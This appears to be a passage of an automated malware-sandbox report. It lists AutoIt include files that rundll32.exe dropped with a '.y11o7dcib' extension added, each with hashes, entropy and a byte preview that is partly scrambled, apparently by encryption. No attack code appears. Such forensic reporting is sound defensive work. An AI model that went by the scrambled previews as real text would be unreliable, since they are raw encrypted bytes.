MD5:	C868F2EB25D67372E7005871CBD505A0
SHA1:	9278742C0847510DF20A86DCCA5086916C3D476B
SHA-256:	4D3054618DC983FED9D7700BDD8A357337869BEF2F64F4CC1BE08273587C16DE
SHA-512:	2A7162A75A643489298B92F2784BC40F5FAB2F5841AB6CC831F809F9E9F74CCD2AB30435D7CD8BFA0AF1B48DFC5F982DF1B881EE7607775994CE2EB23E0DA308
Malicious:	false
Preview:	S.y)o]..7IK..h....vqz.....M.;....0..J.i.....9E....l....pN.r.include "StructureConstants.au3"..#include "WinAPIError.au3"..#include "WinAPIRes.au3"..#include "WinAPISys.au3"....; #INDEX# ==M..'x'....d...1X...( 2J.......(........Y7.....&+...8^\...~Q.E.=====================================================..; Title .........: Event_Log..; AutoIt Version : 3.3.16.1..; Language ...^.. e_W...B#.7E..gt........./...^..L.y....C;w..qC6..,..X.ystem logs...; Description ...: When an error occurs, the system administrator or support technicians must determine what cause...n-....+E\..o...5=/W.......5...I..N.~....E~u....%...,..X.ata, and prevent the error from recurring. It is helpful if applications, the..; operating system, and othe...c6n\..<XX.o....vr}.....K.t...K..W......ze....(....:L...ditions or excessive..; attempts to access a disk. Then the system administrator can use the event log toP...)j...-O\.e....}\|{z.......5........

C:\Program Files (x86)\autoit3\Include\Excel.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57934
Entropy (8bit):	6.655614334137395
Encrypted:	false
SSDEEP:	1536:8gxmgtNgKC/onq3XXRBpbOpEbYrQrTr7mp1ZU6+QlrO999gIyVduYGe3sp4L:HxmgDQ/onq3XXRBpbOKbYrQrTXmp1ZUA
MD5:	DC33D5D0665D95B82675A713C7F24DC9
SHA1:	5D7A19D62A2C056449C277734A2E310C172D10DE
SHA-256:	72A2E5449F3627CFFDF7924E12D795EA9D84936301DB2F0F7A7566B0AB8464BF
SHA-512:	9DF0363B2632660A2C49037114B237A181C3049EAD7A9E92C779EF1F4355827A4056161AAAD5915ADC3979C2DE35F12336ACFC74CA14107A1DE2FF5D69D864E9
Malicious:	false
Preview:	f\....8...`._..3$...Y.^.:.\..'...iv.X...&#...l...............3"....Global $LastExcelCOMErroDesc = ""....; #INDEX# ===========================================================================x.....`.H.>.o..gw..Y..C.FH.rZ4...vF.F.B..nz.........L.^^.R...O Microsoft Excel Function Library..; AutoIt Version : 3.3.14.5..; Language ......: English..; Description ...: A collection of f0[........q.3p[?9...Z....UC..`..*...._..05...O.............N Author(s) .....: SEO (Locodarwin), DaLiMan, Stanley Lim, MikeOsdx, MRDev, big_daddy, PsaltyDS, litlmike, water, spiff59, golfin-@...0C../..^`vj...O...[.O!.`...Fq.[...&5..........o.KP.A...H=========================================================================================================================....; #.`.....~.H.>.o..gw..Y..C.FH.rZ4...vF.F.B..nz........._.MM.A...H==============================================================..; _Excel_Open..; _Excel_Close..; _Excel_BookAttach..; _Excel_Boo.v.....W.U.F.1vT.....q...v..o8L..'$....

C:\Program Files (x86)\autoit3\Include\ExcelConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19931
Entropy (8bit):	6.6291235418324925
Encrypted:	false
SSDEEP:	384:aW89CrlVwifw0lg5q/MIVIrpFl06Q3U2NdpcHFtCS+e/aveGL:6QDwifn4pFlhQ3U2piDJPGL
MD5:	9F2941BF7361A293C55721B4B03E5722
SHA1:	71C6ACFFE0F7F82FF6B2B3C3DE281759F39DD24C
SHA-256:	9FCD357A8E1D43C9161171B1C3282ED0DEBB33B321BBB62DD192B85EDA8B595D
SHA-512:	6DD95F87F60B88479B4357CCC43298C17EAF55736D49DFA74A90D3F18B3560B9C677427FFE2A7AB980F6A332BDC71A6216F2488D8868624F18BC2E7EF4FB4856
Malicious:	false
Preview:	q.a;H..W.......#CF...!jN..i.v../...\.....\|{Xh[.7?Gh....s.....==================================================================================..; Title .........: ExcelConstants..; AutoIt ..}+M...Z....gH...Obj.M<.,C.<...O..R.-/.=k.1">0.O.>...D...: Constants to be included in an AutoIt script when using the Excel UDF...; Author(s) .....: water..; Resources .....: Excel 20c./.J..W........i....U.$.Y-.eK.q.......S.n#.x..%n.7.O.a......5(v=office.14).aspx..; =========================================================================================================o.2e.....G....t@..R#.. r.he.\....5.....\|{Xh[.7?Gh....s.....===========================================================================================..; XlAutoFilterOperator Enumeration.r..=G.[.....A9.....\+.Ei.8C.f......].$f."..ip.!.T.n...F..S by a filter...; See: http://msdn.microsoft.com/en-us/library/ff839625(v=office.14).aspx..Global Const $xlAnd = 1 ; Logical AND =./.V.W.......Ji>....\b..D..J.p......

C:\Program Files (x86)\autoit3\Include\FTPEx.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	46540
Entropy (8bit):	6.653169166461053
Encrypted:	false
SSDEEP:	768:63tvQ+SXsLsatLwAM+rcb6Bejj24hNREKMU:6JQ+eyEAM+rcVjj24qW
MD5:	B81E47AA23E77DE7882488C258DFB706
SHA1:	3CA0334C097FB4585F5F3334E5C4A74C9620E38B
SHA-256:	EF71A91ECBBD0716F12D3D96F3ED27BA077959983A65F2360523A52C12EDF9AF
SHA-512:	F2B73EE2B512CD797DB8BF81DBF2C07E7949FB32DDE0B74C04022D0D2C5D0FEBD5D4C71C03D83DA2213D90D3493A1235F5F6F4A4E820B281CF0D741B8F10D5C9
Malicious:	false
Preview:	...{j...f.[+l.=S...}.../R$w......].zK.\|...K.<.1...nu...0.E.3"..#include "StructureConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"....; #INDEX# ======================...%;...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P=================================..; Title .........: FTP..; AutoIt Version : 3.3.16.1..; Language ......: English..; Descriptio..6(...>.V<`.Y-..r....9.uG....I.+.^ec).".[.s._..I.4........P.r, Prog@ndy, jpm, Beege..; Notes .........: based on FTP_Ex.au3 16/02/2009 http://www.autoit.de/index.php?page=Thread&postID=483....=...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P=====================================================================....; #VARIABLES# =========================================...%;...v..u4-.c......wO;.....T.B.MUT/.^..Z!.J..T.'...y...P==========..Global $__g_hWinInet_FTP = -1..Global $__g_hCallback_FTP, $__g_bCallback_FTP = False..; ============================...%;...v..u4-.c......wO;.....T.B.MUT

C:\Program Files (x86)\autoit3\Include\File.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44443
Entropy (8bit):	6.719525984977027
Encrypted:	false
SSDEEP:	768:3PJkHkvVJxN7FZbfIJ5EhNmSlR2YXehkPzYTPZ6sEOvkBF6VW25t0:fOEvVfHZbfIJ5EhZWmLkaOMSVW2L0
MD5:	87B9242AAC4C05B09A2CEF1F6B8FA832
SHA1:	F98E16B3775F87BF13C6902EAD733418E6CD314A
SHA-256:	A2434469264CA3BDC24D16D7E86575F28C4DD1F2D16BAD2FE375C1B5EF3DDEF8
SHA-512:	7344A9D06FBEB353C8EB0A39A87CAC421A08A2695437DE5F4B052B9C52CB3C103F010BBFDC4EC98021D99D6DF0A5DB62A98E50E15A5D1D45C271C3751A2AA9F3
Malicious:	false
Preview:	~...^Ra.s.R.....t..2..f4G...{-#.f..D..N...i..8..$....!.;..."d..u3"..#include "StringConstants.au3"....; #INDEX# ===============================================================================`.,...8.c......C.UaKP.m...4b..uX.J..y...%..)..B.G.`Ef...vQ.e..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with files and directories.P..sRq.1.....P.FfV/a9C...l:,.dE....%....l..)..B..../. ...9y..JdeB, Jeremy Landes, MrCreatoR, cdkid, Valik, Erik Pilsits, Kurt, Dale, guinness, DXRW4E, Melba23..; ===========================`.,...8.c......C.UaKP.m...4b..uX.J..y....8..`.._.T.sVu...k..====================================....; #CURRENT# ============================================================================`.,...8.c......C.UaKP.m...4b..uX.J..y....>..........:'!...[..._FileCreate..; _FileListToArray..; _FileListToArrayRec..; _FilePrint..; _FileReadToArray..; _FileWriteFromArray..; _FileWriteLogP.*.mal.;.N...2..9{g(p}...a.7.$h.L....

C:\Program Files (x86)\autoit3\Include\FileConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7048
Entropy (8bit):	6.837900622523225
Encrypted:	false
SSDEEP:	96:gHV0fBSOTdEBpJep7W7dYqjO4YBnzoyS3sxuCnWtKT6YtAO4j76f+p/S:omfB3GBpwxYdYqhwzYsxlTYwf+tS
MD5:	5C36918E855ED06840D57A60E45339BE
SHA1:	8FB755F505C42452257C40E8D61A237945008403
SHA-256:	B54F6A564E01408884DC7B10ABD33DFFEC8820981860E46E7464F72485D1BB18
SHA-512:	FFB383BB093DA17B6103D41935DA47A879F3D62CE57BE0B4654D6FBEFB39E0D74A4BA1286E7E4362599AADC8DB81F7D8F59BD162FF92CE97CD0CC165B1E30A6D
Malicious:	false
Preview:	1../.D...9.V.N../.....G.S.ww.......P.'..'..v....G^..#....$..:==================================================================================..; Title .........: File_Constants..; AutoIt D..?.^..v...m........c...+-.........M.t.Ns.F........w.^..w..).: Constants to be included in an AutoIt v3 script when using File functions...; Author(s) .....: Valik, Gary Frost, .....; ====/.Kq]....k...~.........?.M.ww.......P.'..'..v....G^..#....$..:===========================================================....; #CONSTANTS# ===================================================/.Kq]....k...~.........?.M.ww.......P.'..'..v....G^..#....$..:..; Indicates file copy and install options..Global Const $FC_NOOVERWRITE = 0 ; Do not overwrite existing files (default)..Globa~.5#.B....j...rf.....".P.j..Z..\....s.Vs.k...n..r.H..9..ist $FC_CREATEPATH = 8 ; Create destination directory structure if it doesn't exist....; Indicates file date and time options..Gl}.. @r...".....jp.....".P.jq...Y..I..M.

C:\Program Files (x86)\autoit3\Include\FontConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3920
Entropy (8bit):	7.794596670412639
Encrypted:	false
SSDEEP:	96:rIU8u+zCJc7pS/diIZE/9SQK7F39rSei8ISaNpTS:r5QEdlmZK7F3fi8JMpTS
MD5:	F47B1CE38239E0A10F4AC4756C7D89BA
SHA1:	53F2CA7CAC717BE69C5C51C7B0C8F3D00DB8E0F9
SHA-256:	8B6C55F4460E28D5C4668AC78240AB1CF10570C058C826EBF141194CC5582324
SHA-512:	441C0CE6BF62231527C54460A652DC5B9A80BE7FB6F87C8AF9BD2A8EA2A4242E9208CBB92842CFA8827E15EF4BC37B30D4B3A5095B13DFE6A66BB402F6D97BC9
Malicious:	false
Preview:	W.Q.....O_BA.H5..0....S..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x..........;.7Q.....+.i..?9....v.+..g... .<...".M...........s........e..z..9Q.....+.h........7.:.s.A..<.=...Z.....NER...7..}..e..r..jQ......i...S]..9.eRW.Z....<...~.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.2...R..c~ow...k..3....6..&.$B.....6{;.]G@...bO-P..h.n...I.....T.......x........6..&.$B.....6{;.]G@...bO-P..h.n...I.....T....GK..62......+..u..9[...t.._.G..@G]..P.0.q....;.'...#.k.I.....)..)P......x.?..F:...q..L.R..@HM..P.0.q....;.'...#.j.(.gyu..w.......j.X..j...g..B.N..]ZN....3.r.D..:. ..2.`.$......H5.\|....H..h..=9...u..G.T..@NM..P.0.q....;.'...#.r.<.......Ox..q...d..o._(...}..D.B..@LM..P.0.q....;.'...#.{.+.d....u2......+..u..9[...r..Of;..PJp...x.>.0.G..!.w..1.k...&......H5.\|....H..h..=9...\|..J.

C:\Program Files (x86)\autoit3\Include\FrameConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2382
Entropy (8bit):	7.670390528012515
Encrypted:	false
SSDEEP:	48:fXQ6FJHrovhqvHP8osE3ysmvL8QO+07tmLJzHwBTWp85sSS:pyZasuyXw5j0l4jS
MD5:	A0F806AB38F1697B097088DAFC3BC0E5
SHA1:	BB780C00ED419D80BB230F8FB587BEFCB8C784F0
SHA-256:	6659B54F488A892CF65A728137723A0CE3CF4301D422D5B251AA400B94DD98E3
SHA-512:	6D5E7E508F78BFCEC5058DF2A9393BA031DC6C6EB1814D4B170459F00A95580344643D70E4F10025CD37B8EF6D38F9F82870A1C8E982B6FAD683A37C857C6F81
Malicious:	false
Preview:	b....(.%.O.fH%......-'%c..../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9.._I5O....<.k2.+g.R.......4t....`....w.Y..;a....4.....6....2..nRAj...u.e2.+g.F........3.s...q....B.B..ao..Y.2.3.A.q^...v.... v...e.7}.`...R.......Q!Y...\|.......J.a{...$S..O.q "..9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8........DJ"i...F.f<.8t.U........f'D...)......Y.r\|..D.`N}...8....9...YT\...../.x!.8t.U........f'D...)......Y.r\|..D.`N}...8....9...icZ......}.ez.d$.e,.......u...0.....c.y+.o\|..t.../.A.%nG..p.">e...\.x<..C..I.....(nY...W.......V.E.....1S..N.q....G..4<1k...2.H..i&..J.......^?...W........i.BK....4.).L.vYI..$..............p.g(.He....Y...@.....b.y!.ra.A.W4,.B.i.k..w... /"u...]..T.F..U.......4x....{.....r.n7.....6..&....%.P........J.....f.aX.F..*s.......UY...l....Y.L........y7..s.Gx\|..J...-&(k....2.=-.....D.

C:\Program Files (x86)\autoit3\Include\GDIPlus.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	304934
Entropy (8bit):	6.378952562300865
Encrypted:	false
SSDEEP:	3072:hAbeR66hcM59HAb+EJo7G2B1ZgcPVMUHkdOB3/MEpwk9Cy/mAILKSf0tWQ+H2UTh:XjeUBfgA1Sm3seJFPT4v
MD5:	F1EC93CB3A3963B35BE69863767D891E
SHA1:	9570841FD225C53A7711A877DADCBDB290709CB1
SHA-256:	BC0FED778A779087DB14DC6D14A7D4BC8F16D8D1CFFD7C67A7EDA81E45AD24FA
SHA-512:	4ADA72A8B7DF2BF7C0249D9B1D2686D4E71F310F6953A8EDFD13D35F6CB0954204F8C52E79E9286228C10151E431C1BFFD5672959FD616333EDA4B82B4D6A691
Malicious:	false
Preview:	;...=.,....0...K.y8.S.-.3.EI.....o...mF.#..p..&........]!...g..ctureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConv.au3"..#include "WinAPIGdi.au3"..#include "WinAPIHObj.au3"..#q...$.-....=...k5?...-.t.m......h.9.9..j..,. 9-..H...y......==============================================================================================..; Title .........: GDIPlus..; Aul.?.q.-....=...u&i...Qi.\.GB....IaO.7..y..T.zhy....N.\7...c..on ...: Functions that assist with Microsoft Windows GDI+ management...; It enables applications to use graphick...5......'...f\|?)...6.4..f.....E%..9C.$.Tp.=e~.......K-...a...; Applications based on the Microsoft Win32 API do not access graphics hardware directly...; Q...4.,...(....(\|?#.S.+.!..f....Ia..pQ.%..~.=fu....U...%...z..tions...; GDI+ can be used in all Windows-based applications...; GDI+ is new technology that ik...2.=...L:.../f>>.C_..v..j.....E/..nT

C:\Program Files (x86)\autoit3\Include\GDIPlusConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	26520
Entropy (8bit):	6.926185697924491
Encrypted:	false
SSDEEP:	384:yN6kd6vNCT68Cb+JtC8+3Xow3XbsaO77koW6EJ+Ahi8YvO9IvsweIczk:A6kd6FCT68CSm8+IYXoaHoW6EkART+cY
MD5:	DBE2E4596F4EDD0ED0DA576CC2C3DBEE
SHA1:	03D291534C5711DFD338BE8F5611B70DEBCB6920
SHA-256:	0DD63EA78FE886EF7903782D4F5050C51A799CCDBE80930C748FFE80065DA0B4
SHA-512:	5841598661ABC9FD625446F9CD9E4F24CE789E9B361FD664952E1618C0ACB5BDF3197C0A201D59C84434A8EFFD7E3B45AEC584898ADBE282E527E53D63C97B4C
Malicious:	false
Preview:	_*..._.p"\.V..<...$...w.......d........p.8>.g.n..'.`._}.i....==================================================================================..; Title .........: GDIPlus_Constants..; Auto57....H.2#...:.....)..D.....].y..........bo.).^..:}8..2.$..F ...: Constants for GDI+..; Author(s) .....: Valik, Gary Frost, UEZ..; =========================================================A~..C...`p...4.....:..s.........d........p.8>.g.n..'.`._}.i....======....; #CONSTANTS# ========================================================================================================A~..C...`p..92.a...C..&......_.T.v....E...kp.z...zJf..1.....iT = 0 ; A square cap that squares off both ends of each dash..Global Const $GDIP_DASHCAPROUND = 2 ; A circular cap that rounds o.%....S.8#V..f.....o../A......[.y.^.......U\.....rJm..#......3 ; A triangular cap that points both ends of each dash....; Pen Dash Style Types..Global Const $GDIP_DASHSTYLESOLID = 0 ; A sol.'....^.W.^.Qh....t.ju.....r...}....

C:\Program Files (x86)\autoit3\Include\GUIConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.539802856751826
Encrypted:	false
SSDEEP:	24:b58y+Q+eVJ9j7uE+Q+0AGlAQ0f6Q03yQ0LYIOs7Irw5P62ClDe6pkS:98pneVJ9/uzn0AGL0P03v0LYRs795aVJ
MD5:	21968FACD1B228C6518AE2B2DFB474CF
SHA1:	1F383737660043EE2E99F76FDB9F4B6072C362C8
SHA-256:	1A695C212A1F5BF0A24D4D2FD14821244B28C881184F3C7CC0E66D4DF4C1C7EB
SHA-512:	F6909DD2BA79464C2735A162C5C946F53F1FA1A731F855F084345893B252A863DBEF8C7F7847BC4B76E4B641FB971ED9A6B2494982856EFE21BBF394E5671BEB
Malicious:	false
Preview:	..../.....t.b.....A.&yAsK26.s.=...\....o..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..B...2}.......n..!8...~.E....R....h....U.6V!%.`.....[..S]r.6...\|4.K........sL...1.....7.A....S...Cm.=.zj.+.....O...t<......{.a...F.'..r%...c.....y....M.B..CC.s.\|n.n.iU.&..p".....f/.V...n.'..n-..m.V....v....F.....Ce.?V!%.`.....O..2;i..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..B...2}.......n..!8...~.E....R...._...^._nK26.s.=...\....o..r..a#.P....n....rv....0...........Y.....U.<.Ld.=.aO..O..._......z$......M....oq....m.....4.....H.B....D6:.jH. .t@.....J.p..\...c5.@....F....oq....m.....4.....H.B...*b.=.{j.:.EY.....2;q.....j`.i...@....oq....m.....4.....H.B....U4:.xH. .t@.....J.p..\...c5.@....@.!..oF....".....$.b...B....C.0:.gN.'.CN....KB\|.L...,).F........x`...0......v.\.........DBq%{j.'.CN....KB\|.L...,).F........_j...-.....5.e..O.....Au.6.Yb.9.oO....L.3..]...f..I.....#..kkConstants.au3"..#include "WindowsConstan

C:\Program Files (x86)\autoit3\Include\GUIConstantsEx.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4363
Entropy (8bit):	7.828971529212687
Encrypted:	false
SSDEEP:	96:BZG+kaMocoq6nwR/f29EIhK6EfySBCpgv6hisw8UWQf/R03GoSshS:BZQaMocobwl29EaTE6uogBz4QRpoSaS
MD5:	BEF3C82EE1093CAFCCD0A33742293440
SHA1:	914A11A2489020FA4AFCBBA648A1420EA41470E5
SHA-256:	0390E71666EADCB9B983E37E3DFB24AF459BEA3DD67AC395B32D54A4EDF2D1A8
SHA-512:	A05508F7BDCEEC7444B0AE81DB88E1A50F26D0D0C2BE4E97E85CA60E1BC0F853A2A0AE6EFDEC5FBE06A3C1D33CF6C138EAC29A08D6B31FAA0CCD2F52C807B754
Malicious:	false
Preview:	..HH..i]......./.3.Q.....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./...A.A".K..O.._.... "+/. !...Y.nX6...m.e.........XM...~...S...<...A.Y.@...G._.... "+-...... .;.._....5...._....hK..%\..@..p./...qk.I.4k....Z.my.....F.h..AY1R.O.l.J..._...F....([..j..~./.T.;e....O..\|....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L..;...0H.-&.6l.T.f...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6U.T_U._..=.x...Z.x.Y...L........y...]./.2.G.(v....\..L....3%6e.RB-..C.s.$T....6....\|...IE...+\..@...[.J.?.A..n..-g.L.....0o......K..eX0H.G.e.........EP....^......}.\|.Z.R..x..$l....d.W86H.IYH..Y.rB6..G.7.........EM...0Z......f.n...p3.B...F....Y.cy....Le.o'.lC'[..$.+.....$....nj...\|..].....c...yk.H.....6..i.X]E<.*.'.'.. .v7....'..........lq...w..?...[.F.?.(k....&N......avx..M%=.=h.Eb.e.4...!...\...GK..dq......U.F.?.P..x..9k.8.....5=e

C:\Program Files (x86)\autoit3\Include\GuiAVI.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11270
Entropy (8bit):	6.288642291530643
Encrypted:	false
SSDEEP:	192:eJ9eY7U04fvbfcxpCPBvGV4lBQ8WiKO0miRUxHljrTlDpo6tr7cS:eJkY7/4fvbfcxpp4l7Wif0miRUFljXlt
MD5:	1F7DFDCAC614256450F75A64EA2C8BA0
SHA1:	5C4926540D0F793D64BC6AE140A7258904AF9B83
SHA-256:	3412D7754D4654E1A478BF21FCFA523299BB7FEFD7BEC6D7BDDE41AD1EFB53F2
SHA-512:	7898EEBF1A0D1E3A2F9C4CF0420118D8EE870E1CD79474694EE75BB4DB7B86997FABFE2AC1348955587BD05247F5E4A2B8F569E00001B6A9BF9D2CEDEA64AAA7
Malicious:	false
Preview:	.B....i..g........=kN.>...q.P.............V.L...e.2..+.=.......nternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#includ......L..A...j.....2}.EW..^.u........9u.,...(...h.+.j.IfG.nn.u#INDEX# =======================================================================================================================.......a..&.6....sIL.7._....X....!.......).Z.&.i..:.TuG.XD.4nguage ......: English..; Description ...: Functions that assist with AVI control management...; An animation c.E...-..(...q.....'`C.z.@.x..X......L.R...#.Z.h."..n..!..K%..) clip. An AVI clip is a series..; of bitmap frames like a movie. Animation controls can only display AVI clip.....-..(...8...2aLGz.Y.7.7...SX.._.T.f.Z.&.g..+..+'.... se for an animation control is to indicate system activity during a lengthy operation. This is..; possi.G....n..{...p....!iV.5..X.\|..X.....P

C:\Program Files (x86)\autoit3\Include\GuiButton.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28799
Entropy (8bit):	6.317095761563318
Encrypted:	false
SSDEEP:	768:m5oRkgDEzs4AVI6SsddLL9mdYhqYhnRvm95dFSf+l:Soz1wd
MD5:	F647378E6BB0CBD1DC638DD5F7011E65
SHA1:	A00FBA1B39FF2581A0CCBF5797C74E48CA095694
SHA-256:	A594EFCD372AFA1326C09E18EFA6633E13A5DC700C5E38D34B7E6AED6087423D
SHA-512:	EBACADF74D61FB490EE730F1DA2507837386F0C5ADF382F7CAE8E6041934A09F57F6D4C44D2847F4C28C00D3CD36C9643A75E98F679CFD11DA6192FA6FDF7085
Malicious:	false
Preview:	j!.m.rZ.cl..K..._. i.&.....A.E.U.z{2....y.K-......P.A4I<.A..7mnConstants.au3"..#include "SendMessage.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPIIcons.au3"..j!.m.rZ.n!=.@...^...d.6..RA$?..K....}R...f=.?..W...m.!.>.P~?======================================================================================================..; Title .........: Butto'E.5.FK.!J..x...d..n0.`....a?..R6.uf!....w..0.,../].X9_t...M.gscription ...: Functions that assist with Button control management...; A button is a control the user can clic"h.a.wL.8j......x..:e.2.R]'}.A...z&Kx..Yj..#.?..W...m.!.>.P~?========================================================================================================....; #VARIABLES# ======tu.3.:..s>W.....0A.s7.n....j,...T+.)5{O..Yj..#.?..W...m.!.>.P~?=============================================..Global $__g_hButtonLastWnd....; =================================================tu.3.:..s>W.....0A.s7.n....j,...T+.)5{O.

C:\Program Files (x86)\autoit3\Include\GuiComboBox.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41931
Entropy (8bit):	6.141121305559919
Encrypted:	false
SSDEEP:	768:8WvdfsMlFkf3UhA/TeVgWynYI0Zs5+vioPnMBURqJUQQZwtprjUCyRK1AlthWIVr:RaUhAx3+n2fQjhROO5Iq
MD5:	03407DBD683F26866B426FADCB1B95B7
SHA1:	6F7D5B8B30DE006B40A05E22EF750DFB937196AE
SHA-256:	3E169D331F484E92EABDA494A2BF6340F77FA0D2C85024C4EB98467EB14C02C3
SHA-512:	B7F9677726C3944F7D2DFC23573AD99F2C7F3D1EE696DFE36A138E2E8F000591401A676A0E0268F5B56076A53754AB9851904E2C7A0CB863A8E6D286EE93F0A8
Malicious:	false
Preview:	%..m,..&..L.&.'..\|)......Z@c..".G./.z..F..b2.3.=...1#.......stants.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3$.-)../K.G<aSD.....%.....K!..$.K.?.4.......l`c.=...5o.a.......; #INDEX# ===================================================================================================================;.3Mb.cj.Vp&$...qn.D.K....nn..".%..{.a..!..%Mjy.=_..z0.~.....; Language ......: English..; Description ...: Functions that assist with ComboBox control management...; Author(s) .....: gafrou....../w..<.eA..RJ.J.X..E>1..p....f.).U...}.$-.nB..i>.r.....====================================================================================....; #VARIABLES# ==========================;.3}U.~...!~9...b}.W.X..E>1..p....f.).U...}.$-.nB..i>.r.....=========================..Global $__g_hCBLastWnd....; =========================================================================;.3}U.~...!~9...b}.W.X..E>1..p....f.).

C:\Program Files (x86)\autoit3\Include\GuiComboBoxEx.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48540
Entropy (8bit):	6.1432139328871465
Encrypted:	false
SSDEEP:	768:LgzRp/4IcWNFWltQpwh0+qzZkfHOGVP7uLLiL98kvtQc1Q+rrDMlu11RKBVmzjcE:qRtcpI8Hrki51Q6THMqxk0
MD5:	11080B116C34A780AAB73E337AA12A3E
SHA1:	D9FEC48E459EC411D4D2746C3B96517791143E94
SHA-256:	7707B01D6EE26AED48BBAADCD5A8F05C6BA60BC39B339F777DE779BAEA13CBB8
SHA-512:	5386A0952BDBA4ED6588E862C56482FB86BE982253112000B7BE472997E3BCF8C3C6EC3E4B1623ED3A1CE92319AC31F8343E65032D4AA220FE5E5E9E53448EFA
Malicious:	false
Preview:	T......e.....wt._/....F"..-.%x`...k....F.M...i1.....]..?..Box.au3"..#include "GuiCtrlInternals.au3"..#include "Memory.au3"..#include "UDFGlobalID.au3"..#include "WinAPIGdi.au3"..#includeWX...%.I...............e/.d..F4G...][....v....!h'..b....o..==============================================================================================..; Title .........: ComboBoxEx..;W;...-. z.......\u..B..i..c..v`...b.......e.a...u&r..d.p..1..ption ...: Functions that assist with ComboBoxEx control management...; ComboBoxEx Controls are an extension ofW.....mN.Y...^...2....V/C.I..ag...%....8..T...<3u..6.Q.;..ges...; To make item images easily accessible, the control provides image list support. By using this control, ....._. ..Y.Z^.\f..L..$C.I..ag...q.......?..J...h,:.......?.. box without having to manually draw item graphics...; =========================================================================JG...Y.=..D..GC.A{..Q..z..T..[*3...8E..

C:\Program Files (x86)\autoit3\Include\GuiCtrlInternals.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7439
Entropy (8bit):	6.473230304149895
Encrypted:	false
SSDEEP:	96:YjiCxUWUK2NKqp6Ax2u+76At3YXDQENOAXF3U8K50vYJe5IA5OvdmWDS:ZMaZ0qpN2HBLgE8KmVjOlmaS
MD5:	91B05346A829D7A248BB46BB3A731F29
SHA1:	58B33703CDA8EBE56307D7DDB20FAE56964620D7
SHA-256:	24593A45C3B520B21EFC24FD95DF45E9494CDAF0BA02BF495B109CE9A533C9CE
SHA-512:	1E428DA009905DF06F9A85C9C45547A35F7F402284445AA09F3DBA49FFA8FE6D5A1B2BB83A9E6535A086FBE6DF5809244FEDBCC5D2A6084A82DFD211C07E2063
Malicious:	false
Preview:	.~>.Vg.{...A.2n.;.2.....@.f..a..P..cM.n...o.....H.u...B.A9.F...nals.au3"....; #INDEX# =========================================================================================================.m!./R#>..\.i...........j.."Y....Q+tC..5mO=.....G....M.t#.Z... for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with _GUI control management...; Author(s) ..9~2.2.nn..A.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@============================================================================....#Region Global Variables and Constants....; #VAR.V.P.AL>>..\.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@===========================================================..Global $__g_hGUICtrl_LastWnd..; ===================================.m!./R#>..\.Y...fGVY....y..1J....+C.^..z<RE..JU.....6..w..D.@============================....; #CONSTANTS# ==================================================================================.*m!./R#>..\.Y...fGVY....y..1J....-^.^.

